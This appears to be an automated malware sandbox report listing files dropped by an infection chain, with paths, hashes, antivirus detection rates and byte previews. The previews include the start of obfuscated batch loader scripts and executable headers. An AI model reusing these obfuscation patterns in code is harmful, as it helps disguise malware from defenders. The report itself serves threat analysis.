Preview:	{"RecentItems":[{"AppID":"Microsoft.MicrosoftEdge_8wekyb3d8bbwe!MicrosoftEdge","PenUsageSec":15,"LastSwitchedLowPart":7763552,"LastSwitchedHighPart":31061488,"PrePopulated":true},{"AppID":"Microsoft.WindowsCommunicationsApps_8wekyb3d8bbwe!Microsoft.WindowsLive.Mail","PenUsageSec":15,"LastSwitchedLowPart":4292730848,"LastSwitchedHighPart":31061487,"PrePopulated":true},{"AppID":"Microsoft.Office.OneNote_8wekyb3d8bbwe!microsoft.onenoteim","PenUsageSec":15,"LastSwitchedLowPart":4282730848,"LastSwitchedHighPart":31061487,"PrePopulated":true},{"AppID":"Microsoft.Windows.Photos_8wekyb3d8bbwe!App","PenUsageSec":15,"LastSwitchedLowPart":4272730848,"LastSwitchedHighPart":31061487,"PrePopulated":true},{"AppID":"Microsoft.MSPaint_8wekyb3d8bbwe!Microsoft.MSPaint","PenUsageSec":15,"LastSwitchedLowPart":4262730848,"LastSwitchedHighPart":31061487,"PrePopulated":true},{"AppID":"Microsoft.WindowsMaps_8wekyb3d8bbwe!App","PenUsageSec":15,"LastSwitchedLowPart":4252730848,"LastSwitchedHighPart":31061487,"Pr

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\Bus

Download File

Process:	C:\Users\user\AppData\Local\Temp\C3F.exe
File Type:	data
Category:	dropped
Size (bytes):	89088
Entropy (8bit):	7.997894676048347
Encrypted:	true
SSDEEP:	1536:BhBfWL3/WpnJyNBXWPkbgFjcRnlibR0R/V8zuk3hInzfnSuKfo98CbHvOJKn0GXe:BhBfWrWp9PkbW5buhV8Ks8fngfo9803E
MD5:	B801B07EDE1FD827573114FA8332409D
SHA1:	BE62683D0374D61B40FAA2D88ED7D47F5AAEE57C
SHA-256:	FC5F27DCAA5271F50C6CC96AAAE0212E7D6155C8B49B864B3B480607EAB133E1
SHA-512:	61764558BBED4B47FA0266DB025E64231D85935995A2535522945DCB0F59101D11224853EA0DF793A43A8E70825660942E7466187DF9BB35144F85CC8B98F696
Malicious:	true
Preview:	AzS{.6.tob......U.j.T..Q....b...B...iyD..(.{.+..S\|y....R....Kp^T.DC..mRGtP$SB...k........I=...X.i&...z.r...Z..\|L.w.{..L.t..z.....t.9.....;/.`5R.Q.....r...]i.9+F...\|.f.../..%.7f..fM.!...\|.{L....d4]...d.}7.:[...W..t....:..l.......D`..r.F..!...R6e....B5........_C...1.h9..n..q....Z......O..1.c.x.S..xY.x.....7z.\|@....T.\|5.v.,.I...&./.p...%...e..=x...7C.k[hkH..\|.eG.u..\|..y.F...@....AX....d..A...F.....i...{.`....N/...\|...V%.d.K.v.>.d....F.....b...~%>..%..z...%........[..."T.x..#.S.,.R.-.(x.+.&...\....t$0...}.7.\;.!..^...J.V.J.h.Kg66b..M......4.O..7Q..),.q.Z...j.".&.jWW."....O..Q.5....Y.f....8.{....=....S.olo....h.....f....dz7.;B.Z.(....g..k[c....G.Y5T.6.....7.....x......~.. ..$.[...q.L~.....j...v..p.u-.n.b/..`0\..^.;..=&U.O.K.;.=.O8.mY.T.t(l..d..L.g+.....*'.Sd`=.O+.E2#.....E....j.8....l.)..'@....vy..ZlLZ..9..s..}h......p..q9462.......A.!..k..E.j......^.8N.w.....SP3..w...A.;@4..#P.%s6,...M......H..3.<..........k..:....,&.......)$..o6...Q..M.b.-R.T.."

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\Delivering

Download File

Process:	C:\Users\user\AppData\Local\Temp\C3F.exe
File Type:	data
Category:	dropped
Size (bytes):	76800
Entropy (8bit):	7.997946899641085
Encrypted:	true
SSDEEP:	1536:JlVaXdWB+L7vmYtafisr0S7HptjpcV0bGeot/sOFfq1VisKo9awGOePu1Cd2Dm:ty9Xv3xBS7HpVpGsmKssKo9aoecDm
MD5:	5672823394F20CEEC679160C3EE97986
SHA1:	B37ED4BF8C2D39DC29E1445DFCEF76F7349B83AE
SHA-256:	ECF6A26E46C30D120E9E59EC8304205DCEB0264B850A5D280B583B0D37906E5F
SHA-512:	E2D4A5BDF71A84C647E136192B9C76D7F237C2E438B21B1CCA96DF216CE2E80BF29B08647C562C4CD3B059A6DF8A762FA6591D271F0FF0A81F623A9C150886C3
Malicious:	true
Preview:	.g.C.-w..e..A.........b.,..5..$.H;......i.RF....I.)p..W....0.B.....F.~../..M....c8...r..8.'.u.L... ..blb{..K..13....).&..W...O..T.V...C........l.h......\|x...%.>t..x..O..^....`%....yY...\]-...+X..i...[.....=.p.a.&.l.=...".S..6%..M...pdU.....w...u2....?U.. ....v.........E/..E..k.g;l..\..D.3.}Hg...MJ{(..U.}....H]..IRb.uJ.Rq....[.K .>..\....h...z8.g8.....&&>^..1j.=z...!.R...F7V>.q.s .i\|..n.l+7#..gv.2.@...By.'.N^.....g......7...>.3r.}9.&GY..vfdwZ.L.J..r:..E....U......kL.;YZ:..{"....eB.T.X..5.{...Z...M...(^....t.E..g.9....1.E.KlP. .k.J..C...F...g5Q.%m!....-.I......!_rR.d.........k...9...F.9....F..\|o.w....'g....t.1]&.t3.c..F..... .b..%X......9.....;/.0.z }D.....e.7.J..+...V.T@.%...2spX....j..Y..M...K#.W.5C..=....Z.. ..6%z..L>@`.&.D\.[..X#z..`.4..[...%.Du...)...a........Z..g.....t...,w`.J<.[....0.<..Y.cJ~x..m.TM./9..KU.....%..7..!......b..Bo8U....u...W5....X..y+4P..$cjl..`.Xy....ue`...C".xv1..D.....(.T...b]K$..:..N`;..As.h.f..v....MZ.

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\Earrings

Download File

Process:	C:\Users\user\AppData\Local\Temp\C3F.exe
File Type:	data
Category:	dropped
Size (bytes):	62464
Entropy (8bit):	7.996930228385904
Encrypted:	true
SSDEEP:	1536:iPQUiWPMV6RUaMJSYhP/XfDi7mEiWGRBM4By1Kp:i4akAuaMtXfD1ErGRS4Bywp
MD5:	016A3B26A8C8DA9D9A34DC80D69EC8E1
SHA1:	1141AB027AE28888F47B0F23D1EAE29D5D2A99CB
SHA-256:	87F2B94E0DDB84944B8BFF3F4CD4941B068F73F4EAA84D95ABE09C2E99F4FA0F
SHA-512:	B6FAF11610140C4D947C2B2DBBCDE6D3CDE45F75A75A0BFFDA314D46DFFC3F58E4BE7726ACE1BBF66091B8026E8937F41A9C6987852EED520E0C2BE2BB2FB06C
Malicious:	true
Preview:	Q_N.]..H...r.yf.{.5&@.}.<...D.?].(..@.h.j3Tv...O.Sesv...@N..\|.y...N.....F....w-.&C.B.@..U..t....`4Du.~...?UjIu.N..O.].../.@...../$.O....B.......y...l.....M....j6.W..x7....T._.4.........". XM.z.5..z..P...E.>.R...3...wq7.tf..S..7.}.....3.".6....[.sf_......<.+.4RY....P..V...v.0................6%B..>\7>.V.q.b.,.C.av....$...\f0.....#..XO7.k..H....$&.Q.L.8...~h/..a.........U.M\|.j3.....C..h..r..y.+.:....)S...'><.4.......M...:...+q.fo...y.......u....\^[.V.0v...v..^.....m_.........t.:....O..K.J.g..Z....0.eN...=;...Rk.....pf....bO.B..wX..^..j.x+^G.u...;..E...!v....c....F...EJ.7PFH..... .....6..t..T...39..(m.k..FHI9.~....wh., C..pX.?...l..,..Q.......5s>.9...c.....Z..M4...W......K3...M....c..(.\.0.P.6.v....'.~.. yr-.f...G.......gC...~E....ybdY.w.._.._<..}G...Z..n.........v;Z...qNY..sC...$l..k..n/.#.s.k....d...k..zWm.M.<....{....M..FP.\|,.......Z.7....X.\|...b.....Z........].d.Bc..(....s.P...o...4....f].zo...!../....Ik..~......t..Q.PtO....&.L.i.

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\Focused

Download File

Process:	C:\Users\user\AppData\Local\Temp\C3F.exe
File Type:	ASCII text, with very long lines (471), with CRLF line terminators
Category:	dropped
Size (bytes):	8937
Entropy (8bit):	5.210815190077583
Encrypted:	false
SSDEEP:	192:+3CrXjwTlwTrxPbyaA913d1JAHZADuFYc6DOgmSbbo/m0oyQ:ZTeUrxPbjA913LJAHHmHGq5
MD5:	3DBFA80F063079E66F819DA8452E17BB
SHA1:	2D546875602A5ED7ED181F0A6D372A0A112052DE
SHA-256:	FF670D805EBBD0CCA4F133162C3D67E9EC67CB514FC411DC268ABE28D4F54510
SHA-512:	2261F68FB1362B9E088339375F35EA463E090249573B5D60D4C02069E8E45254543097BE4CC28970C91DA807A0D84F97F1EC56DDFEBD87B8B326E9C9F8D68E65
Malicious:	false
Preview:	Set Chapel=V..mfDFist-Motherboard-Textile-See-Tub-Emacs-Solaris-Discipline-Hrs-..BbComing-Chapter-..eqbSacred-Byte-Societies-Feb-Representations-Pine-Objective-Stomach-..iKEmerald-O-Breasts-Penalty-Uk-Selling-Testimonials-Nuke-..XvesChem-Chip-..UznRefresh-Cholesterol-Curious-Resorts-Measurement-Appeared-Disco-Posts-..egzNMonth-Audience-..LjuSpectrum-Situation-Projector-Saves-Acceptance-Luggage-Lets-Inspection-..Set Disturbed=S..GYDFrancis-Talks-Follows-Tribune-Titanium-Filters-Metropolitan-..ZLStarted-Disputes-Bacon-License-..pkVc-Describing-Pipeline-Death-Council-..AYReservations-Theory-River-Too-Functional-Incorrect-Boy-..QsSIowa-Ten-Heated-Something-Slovakia-Sake-..qZkcIncentive-Nude-Humor-Product-..iGxSim-Freeware-Bicycle-Voyeur-..Set Hughes=E..sFaHMove-Ni-Ran-Passes-Shoppers-Providence-Suggested-Beauty-Committees-..NLaChoosing-Often-Dry-Snow-Functionality-Strand-Greene-Johnston-Recently-..sscWTh-Acc-Carroll-Terrorist-Suits-Alias-Mainly-Ruled-Gis-..aWLinda-Guild-Eve-Foam-Barbados-B

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\Focused.cmd (copy)

Download File

Process:	C:\Windows\SysWOW64\cmd.exe
File Type:	ASCII text, with very long lines (471), with CRLF line terminators
Category:	dropped
Size (bytes):	8937
Entropy (8bit):	5.210815190077583
Encrypted:	false
SSDEEP:	192:+3CrXjwTlwTrxPbyaA913d1JAHZADuFYc6DOgmSbbo/m0oyQ:ZTeUrxPbjA913LJAHHmHGq5
MD5:	3DBFA80F063079E66F819DA8452E17BB
SHA1:	2D546875602A5ED7ED181F0A6D372A0A112052DE
SHA-256:	FF670D805EBBD0CCA4F133162C3D67E9EC67CB514FC411DC268ABE28D4F54510
SHA-512:	2261F68FB1362B9E088339375F35EA463E090249573B5D60D4C02069E8E45254543097BE4CC28970C91DA807A0D84F97F1EC56DDFEBD87B8B326E9C9F8D68E65
Malicious:	false
Preview:	Set Chapel=V..mfDFist-Motherboard-Textile-See-Tub-Emacs-Solaris-Discipline-Hrs-..BbComing-Chapter-..eqbSacred-Byte-Societies-Feb-Representations-Pine-Objective-Stomach-..iKEmerald-O-Breasts-Penalty-Uk-Selling-Testimonials-Nuke-..XvesChem-Chip-..UznRefresh-Cholesterol-Curious-Resorts-Measurement-Appeared-Disco-Posts-..egzNMonth-Audience-..LjuSpectrum-Situation-Projector-Saves-Acceptance-Luggage-Lets-Inspection-..Set Disturbed=S..GYDFrancis-Talks-Follows-Tribune-Titanium-Filters-Metropolitan-..ZLStarted-Disputes-Bacon-License-..pkVc-Describing-Pipeline-Death-Council-..AYReservations-Theory-River-Too-Functional-Incorrect-Boy-..QsSIowa-Ten-Heated-Something-Slovakia-Sake-..qZkcIncentive-Nude-Humor-Product-..iGxSim-Freeware-Bicycle-Voyeur-..Set Hughes=E..sFaHMove-Ni-Ran-Passes-Shoppers-Providence-Suggested-Beauty-Committees-..NLaChoosing-Often-Dry-Snow-Functionality-Strand-Greene-Johnston-Recently-..sscWTh-Acc-Carroll-Terrorist-Suits-Alias-Mainly-Ruled-Gis-..aWLinda-Guild-Eve-Foam-Barbados-B

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\Grey

Download File

Process:	C:\Users\user\AppData\Local\Temp\C3F.exe
File Type:	data
Category:	dropped
Size (bytes):	86016
Entropy (8bit):	7.997944775258056
Encrypted:	true
SSDEEP:	1536:JEzN95shG2gxHEE8p8Rus4v9eTqZafFdv86OtKlFLqZEbo+dmbrLTpf4P9ZxnQNV:SV/HEVVstqZa/nMK7PdkXXpA1kv
MD5:	BFC2EF690ABD60002324EC2CC3696054
SHA1:	B1F644C44B1AAC3D04A8E96675CF5CFA0DF87F3D
SHA-256:	19451D2D5981F98EB831F5E6F44102A3321A9C91943477209AD9856FF98A6086
SHA-512:	C1A890D7DCE2BA2F5865F89AE0BC5D0B81529094414F199D0F961E5B63514A0706F6E1644C12868FDC254BADA1F01D38831BCF7BEE814F6320A272B7BE959600
Malicious:	true
Preview:	....c9\.=.~n..z....15.u....=.z[.N....d.....A\...A...F.];.....15.a.<@..._...c.~..w.H...".J..W........6.DL....0.f.Xc/^..>-2.p...mD..f...E.b.......W....H..[U:..`..m.......8O.j....n,;..6T..2"..;...r~\c...h.Jv...~...iH.....I....r..4v....Zn....y.....w......F.m.U\K.Wp.4[.w......@...5J".-.....F}.I...../0.f.>.Vt.3E.sGK"....l..#.}...1....LO#..K..>..s.........9\|...v....\S.U....0.........>.}....wV...PX.N..e=..-/...%.......Oa....b..m[.....v....G.'...$+J...}.%...2.X...,..9^.....f...M\!-.O...XE.F.n.;K.$H.........><.>i).........!.....`Pjl.......yP..C......(Gog....._.,..T...f........T.........&....l1....\Qy..Z..i...ij_c.~.a...........<H.zN.3.z.y."...Vtfx"m.{..\...\.G.*.......s.........;..\P.......+..-......,u=.O....4KK..b!.ij.6.Oj..6..j...<.jaTA...9_.(.......%q.r..p:..Jw....\|Aj$&..y.K..W...;..`...s.NQ~C~...m.......-._..<...E.'....^...-..;.$.L.Q...J.F...+...Xf..IFn+iug........\|.....t..?..?q.)...A.M..0IU.......OZ...%R.`.hl.=.._yQ.-K.....V_.4.E.G..#

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\Modules

Download File

Process:	C:\Users\user\AppData\Local\Temp\C3F.exe
File Type:	Microsoft Cabinet archive data, 489383 bytes, 12 files, at 0x2c +A "Underground" +A "Dp", ID 7503, number 1, 29 datablocks, 0x1 compression
Category:	dropped
Size (bytes):	489383
Entropy (8bit):	7.998389327797799
Encrypted:	true
SSDEEP:	12288:pDSsjADpS2B3hxUoDyTEH9JtzPLKzn9zye1g/kdGGvwWK+ZE4iJ:JZ0o8AoeT+ftSJye126Rvw2hQ
MD5:	233B811FCD8464B447474B381358A65C
SHA1:	268369A6631FC5C219E50165ADB9CCAA3C2CCB33
SHA-256:	57CFAB2ECF4E58E4704CAE0A7ADCD46EE8C3045F8A74037F2BCF290210E07DED
SHA-512:	BC71CA17E79E50ECD12722B7C360CD44CEC2C46301F0A33EFF716CB09CA00FD37C115481C08C9B96D0E7044A55DBBC0CB41EA40FEC15F61E4A29116E722878AA
Malicious:	true
Preview:	MSCF.....w......,...............O...A..................Y#. .Underground............Y#. .Dp............Y#. .Cleveland..\|.........Y#. .Riders......'.....Y#. .Finish............Y#. .Hotel....._......Y#. .Burns..t.._......Y#. .Rd....._P.....Y#. .Gmc..4.._......Y#. .Entities..<.._4.....Y#. .Presentation....._p.....Y#. .Univ..#..bP..CK.}`.E.0>..dI.f........A.. aA.0.h.6.l.@.N.q...`..#.8Ydh....;.NN..=..;...d...(..%\|.As...4@.,.d~U=.I@}..y............m.gL.....W#..F..xY.4.B.z>I.".~..J.Z.H./.,+[L....h..p..x.'.{.D.$..YMJ..4....q.w..g..-..-.;:..._.....D..G.."/.,.r6.+...i..S...`.....\ .h....].5.....wrf..L ...b.8.'yf...).e.....j....&.VM.pR7...B..K.k.&.....f.Y...m...p...!Bf.d....aQ..@+$^.......e$^..%Y.&i.......J......!...0...)...CK.Z.uR>.."_..6...1I.p../._...F..O.lr..r...oB....Y<.%.?V...U.:..Y..&Q........-.$;....:1.K.H-.*-..:.!H.wd..2.J.......Y..`9..ti.S!..3.j.us^.9G.H#.s.Z.7.TD...4.cmC.v..._......N...@F.C.-U...8..I6M..u.x..{me..N.\i...?...[.I.....6....0.~M.B.Z.'...

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\Project

Download File

Process:	C:\Users\user\AppData\Local\Temp\C3F.exe
File Type:	data
Category:	dropped
Size (bytes):	68459
Entropy (8bit):	7.997258142405833
Encrypted:	true
SSDEEP:	1536:270v/Cujr6YyBnpTFAEOkjhA9QE93Jb+jYW8/3YyRv3GnIkAZ:2AQ5pTFAbsmX1YyJp
MD5:	0442C1BA281F7F9E2190C89AA020F1ED
SHA1:	575A7E100B8CA4AAF4CE03338841EF150267E2FB
SHA-256:	799C405A39EE108A032E22197345BE89B8FC7DB93D03B4CAEDCFE2F7094B7D51
SHA-512:	E373175534B7831372F2665A545428A98606EBBDFFC5C162025EEF3A6A9D975A52FB91EF0D19493C71AE404158105FE501C1A2C07EA17C1D7B732D605B8A9954
Malicious:	true
Preview:	...b..3+..K[......T@<\e.{...o..~...CWzl...E.qs....:..zG..D..?.CmT_..P.%$..c..72.U..;..`?d.m],......r.I..KM..H...1.....I......3..m[\..f.....{&?..Ps....\..0/...u......,.......(&..:.....cq5X.f.(.1...= E..'].4.4......V.^.t/...{..~.~H.y4....A...l..`s.p...=..m.y..5}Z..QG.... .0..u.Q..S9.....Y.).l....W.7b..c..k..Wmke.M.v...K..).........B..).s.KJ=.4.k.....{..(W.f.......<.n..h.W`]...;.....JK.i...B.\9]59... .e^..[:..o...=.s.....A....7Hip...f.-._c...^N..Y.m..?.M.'.lY....6..bi.:.N..Ml.b.q....sg8....3......%...$..../N..qSR5..X3.../.;..8l.1.*.)...F.N...u.%l$..)R$.......{{.D.....K.&j.......sbRK.84....O@..u..Q.K.......{.........Hty"...h....3.V.....z%../..'eY.Hm.}.1S=.....0.............9..I..4.MWdf.......;..(......Ii.h..E.....f...SO..........W.f'........x...6.y.1.'T.yjGT.2..E..N.l..n.L.....AT..}..G.R.)Ji...t.MW....Pk..%..\.a.p..RV.$p..e....}.A..c.....]mc...\-.z..MY.....9.wO.)]...`.x..+...[.['.$....../El..`..k^U...DL#....?....c..Jq..fZ

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\Spare

Download File

Process:	C:\Users\user\AppData\Local\Temp\C3F.exe
File Type:	data
Category:	dropped
Size (bytes):	66560
Entropy (8bit):	7.997251702224176
Encrypted:	true
SSDEEP:	1536:wcGxystPcx1SzZ1vcq+r0nbwEFfmw3iwiiObrv+9H0Es:wcRycx1e1vcq+Inb9faD7Vd
MD5:	4AC8DA0D7E11A8F1E33A1203D4F5ADBC
SHA1:	E1A647384E80BB07A48D6162E39620E0D3081B7A
SHA-256:	C78D8701DE6B1E347E138FF4AFB6948E95BC3B5A6012C7C44FA8508B415F8023
SHA-512:	E124850FC27DBB6A52991410D977A2BB77928F8AC387A796AAC692373D08B9EF809B409F2F8EABCBF694B06630C7A9A4CD263B36DD43DF8D8257AC5FC936FDA9
Malicious:	true
Preview:	...2....c...XJ...V.,...7.....o....I\....O/...U...r9_..-?.xp....FY.T8.......3.q...E.j..j..Q).-qc.O.D..{k.....t.&....{,h.}.S.1..{...#tI....p...L...M......vqs..4.L34G.F..!9.6.B.(g.F. . .)z. .\|..'i=._pU.<\._f<v.\|V...]D.-.e #.N}..!.s...A....Jr+..F.l@.5!...[......A.<..S....Y.N...I......i..U.2.Y SM.....'......n.TCg.k..vxy...t.~,..w.q..x...C.@.Nu..xP.N.H;.........7...x.`...JX4.n.O.q..q........}W.....'......cm....Xio...#.4rP.9....h)+.}...y.....4A... ./X..zk...JI..s........A.TjI......BA.ff}.{!.;nA5+.ZD.+.Hv.4.jO....:.Q......hA.#..q......;\.&..."6.1:?....{g...u.....bx.cf...g.o.w.C...k.u.=...Z7O_$.}.] .$}.............b.1....rl......_...5.U .S.''N.....J.7......"......Y..(.-^1n....u..#..`%.....f....x....&<.=..c*f^}$"....N....%.(.\..d2H.{A.&....AKx.{..o0.+D.UGlyR%O.3f....!...?...n..w...$.U9....1..M.@.U/.^.&.9.......<...n.a..a....I..9f..=%....P.6.6.)..x..................r.<.D}Xv....\...q..k.J....e)..-../.+......Ujvrp.p;.............3....H....

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\Wisdom

Download File

Process:	C:\Users\user\AppData\Local\Temp\C3F.exe
File Type:	data
Category:	dropped
Size (bytes):	84992
Entropy (8bit):	7.997654801541492
Encrypted:	true
SSDEEP:	1536:Fa3JIRKrsGJg7ByP7VwJ2HE9MM79VhQCgHP/+YmXQWnT805ICQg:Fa4OHJCyP7VwJ2tMPhoOYmXvnY0SCQg
MD5:	34BB7DA2EDF7DD73EA12C1ADCD594EFF
SHA1:	2760253CDD8A880346D22217E5FF0DA3872826FA
SHA-256:	294ECE3F8DAC08641F61D1E9C3BE014C410C5F50783E27D0D4B063646CB86C5E
SHA-512:	098659D2689B68D396DAAABE64E12ED2E3068868A53CC709275409165401200A7671DA54467FE3AA4D43AD22D0A353D562A27553DC63D550310503102F11F7AC
Malicious:	true
Preview:	.$..)..:.s........>..H.W..U.s;1..Y.gI:D.y..c"9...1.x......-cY.{..\|.......4p..%..0a.(e.r.x.z.N.".!...h+Ywt.PJ.O..Uw.....,...._.....?.w...w6d....O.u.?:.p.3G........@k...^..P...GP.Z.`.9.k...M.91.....C..o.-.s...[.....f.a.::..F.../.y.,["..W.O.C..[.....)...gp%\._X..xqEM.w....;E.....@...x.....]=g.....\K._Q.!.h.q0.Qr......a.-f...}....u..i..&y..E5q....h..W.e..D(....E...5.lH...u....m`..)Ad...Y>G..r...6.......-.W&.....pTRy..d....YL.y..D..+wiY..=.Y..(..+.D.I+\k...;...r.'.hp...Z..x.s..n.x..S.`...3.'n,......H.Q...xs#u.P.mA.......:..4..=....L...@..m.....}....=/.gm...l.j....[..I..k....46...Wk[.j..w.:.Q.Q...0i Hj}Q."p).h..#....&......L.".8.....:C.....Q....)...$<._.K6A..Zo.]svRFd...Et.LK...:n.9..D..xc.8B.m.......gh...X3.w.E...~.iB.l........BH..d.p..O.%...r.V.b....M!9..%h..[B....R),...$m.lAu...FA......sQ...-.!...2#.....jz).p...cO.g.....P.1[...>[...r.r.$.....>.3...=(.[9EW?.=p....e..4.a..h...6U.EL.d$.e.N.....7..d...S.QuC..._..:.......q...?...t..L.]..k..E...

C:\Users\user\AppData\Local\Temp\3E6C.exe

Download File

Process:	C:\Windows\explorer.exe
File Type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	1401856
Entropy (8bit):	5.46718710825262
Encrypted:	false
SSDEEP:	24576:UUK9HMrB8lbfCe4kp6HeFSCX3NXb4mLibM9HU6UkALbnVQ3E2qZjt:UUKk8jp68oLbnVQ3E2
MD5:	22059CF3BA4B5338116E054D63DBCB46
SHA1:	875B2DA18119A55395C4611DEDF31B34420B6111
SHA-256:	C8D9334DAFBBA9DB79280A2567D9D2EDE04E27255C528DFF3C13E589F34E7125
SHA-512:	4648684573901D71EEC1BE491AB5700E6AA6A2C0ED5DCFD734D071F65D78BAB203377683A1E1B48976D1E481E42623B64945163A7D33648BF5C9233390514417
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 39%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...q.ng.................Z...........y... ........@.. ....................................`..................................y..K.................................................................................... ............... ..H............text....Y... ...Z.................. ..`.rsrc................\..............@..@.reloc...............b..............@..B.................y......H........\|..................................................................(......0.......... ........8........E....@...?.......0...8;...~....%:F...& ....~&...{....:....& ....8....(.... ....8....~..........s....%.....s....(.... ....~&...{....:w...& ....8l.....&~..........~......s...........(.....0..S....... ........8........E....3.......8....(.........(.... ....~&...{....:....& ....8.....&~..........~......0..W....... ........8........E....7.......82....r...po.....

C:\Users\user\AppData\Local\Temp\77D2.exe

Download File

Process:	C:\Windows\explorer.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	8450386
Entropy (8bit):	7.998613107113423
Encrypted:	true
SSDEEP:	196608:mmC8SDW9y9ty3F5uht8rjGEDRu/Rj1KwcQAATGYsgBv:m+IvObn2Elu/Rj5cQAASYNBv
MD5:	5D4F3CFBB98296E43ABF01748224B243
SHA1:	9D0E074AAB35D472A46B5E6CA838F808AD67ECF9
SHA-256:	DD8D0971225090E30F92238C6ED05C9391CAFDA7B7E7C64F444A2F460908A611
SHA-512:	401177FF552D653F3853997C434A98989A50751AD364F8186594D67667BDA557927B5F105BBEDAAD02EDF350255E85DB8660697F1946642E3799CFEDE892C6A2
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 5%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......A{.k...8...8...8.b<8...8.b,8...8...8...8...8...8..%8...8.."8...8Rich...8........PE..L...X\|.N.................n...\...B...8............@................................._.....@.................................4........@..~...............$......d....................................................................................text....m.......n.................. ..`.rdata..b*.......,...r..............@..@.data....~..........................@....ndata.......0...........................rsrc...~....@......................@..@.reloc..2............@..............@..B................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\A723.exe

Download File

Process:	C:\Windows\explorer.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	7286372
Entropy (8bit):	7.9991819785031435
Encrypted:	true
SSDEEP:	196608:eYubcdKxLsPg2rg13ODnxyhvS4WZdYY+TLsR7GC16:eYuUgmU13kxevGZdSI7G26
MD5:	3B3D41663F63FF253217889380CDE23F
SHA1:	D338479F5F718447946011501AA15B1DE6F95277
SHA-256:	7ED0F20B8BDC47A64BF8F212BF028DB874C6453A3C853400CA2A5C984C43B467
SHA-512:	5DCBB647EEA1E456ABC40DBE13D16F84F15B5587596625F901F605536D0B3DA39394C035129541F970C36050404C32F4952D85CDE070F000B444FABB6A4CF015
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 71%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......A{.k...8...8...8.b<8...8.b,8...8...8...8...8...8..%8...8.."8...8Rich...8........PE..L.....GO.................t.......B...8............@.................................S.o...@.................................@............u............o.`(...`.......................................................................................text....r.......t.................. ..`.rdata..n+.......,...x..............@..@.data....+..........................@....ndata...................................rsrc....u.......v..................@..@.reloc...............$..............@..B................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\Birth

Download File

Process:	C:\Users\user\AppData\Local\Temp\A723.exe
File Type:	ASCII text, with very long lines (772), with CRLF line terminators
Category:	dropped
Size (bytes):	16426
Entropy (8bit):	5.122447975785275
Encrypted:	false
SSDEEP:	384:b2wpeRmZpGXCT9tlHJJQlW5V0DwMYGfnpymHEG/1ezn:CZQTGA9/Jil4qfnnkG/kzn
MD5:	6B6AE9A25B072F738BEF6406FC6B8546
SHA1:	18A47C880967689D9EA5A3C418DAD896D99E8E8C
SHA-256:	5D56D7A70E039155922611DAE734E51D2AE11E8118AA305F04EE5A0501558493
SHA-512:	6DCF4BB34CACC393FB57611290BBBE22CE7B32A200A4BCED8D747B2E6150739CA3C266F7154189717811191CA206D97D3ECDF462E76DEB73FED9EEF94F153027
Malicious:	false
Preview:	Set Conflict=N..dzVolunteers-Commonly-Cheat-Locks-Duke-Anime-..LoJRestaurant-Correction-Stability-Testimonials-Spreading-Drag-..bZDr-Templates-Pins-Stations-Village-..pbqaBaseline-Attorney-..qCReturned-Wars-Typically-Framework-Beyond-Received-Developer-..wZEnables-Assurance-Sept-Suffering-Grams-Celebs-Precious-..mJCan-Fo-Dramatically-..Set Optimal=Q..PGQStarts-Artistic-Usb-Fiber-Customize-Copying-Mating-Signatures-Tracked-..hZEpGoing-..CjlKInduction-..tvoMajor-Statistical-Owns-Postposted-Developmental-Pursuant-..QjgUCentre-Dive-Grow-Sized-..vlpuTvs-Delicious-..GkQInch-Desirable-Scenes-Antibody-Univ-Dress-..sDSyracuse-Expand-Discussed-Change-Has-Peace-Showcase-..Set Iowa=1..zyReporter-Parent-Where-Suggesting-Gmbh-Challenged-Back-Returned-..LQsuLeisure-..VMabSharp-Costume-Removable-Architect-..TnDual-Div-Sixth-Industry-Assess-Bo-..bsMean-Debug-Whom-Kilometers-Albuquerque-Businesses-Trainer-..tgvxAgency-Picks-Levy-Uruguay-..Set Ryan=w..ztTraffic-Worcester-Leon-Indianapolis-Having-Starter-

C:\Users\user\AppData\Local\Temp\Birth.cmd

Download File

Process:	C:\Windows\SysWOW64\cmd.exe
File Type:	ASCII text, with very long lines (772), with CRLF line terminators
Category:	dropped
Size (bytes):	16426
Entropy (8bit):	5.122447975785275
Encrypted:	false
SSDEEP:	384:b2wpeRmZpGXCT9tlHJJQlW5V0DwMYGfnpymHEG/1ezn:CZQTGA9/Jil4qfnnkG/kzn
MD5:	6B6AE9A25B072F738BEF6406FC6B8546
SHA1:	18A47C880967689D9EA5A3C418DAD896D99E8E8C
SHA-256:	5D56D7A70E039155922611DAE734E51D2AE11E8118AA305F04EE5A0501558493
SHA-512:	6DCF4BB34CACC393FB57611290BBBE22CE7B32A200A4BCED8D747B2E6150739CA3C266F7154189717811191CA206D97D3ECDF462E76DEB73FED9EEF94F153027
Malicious:	false
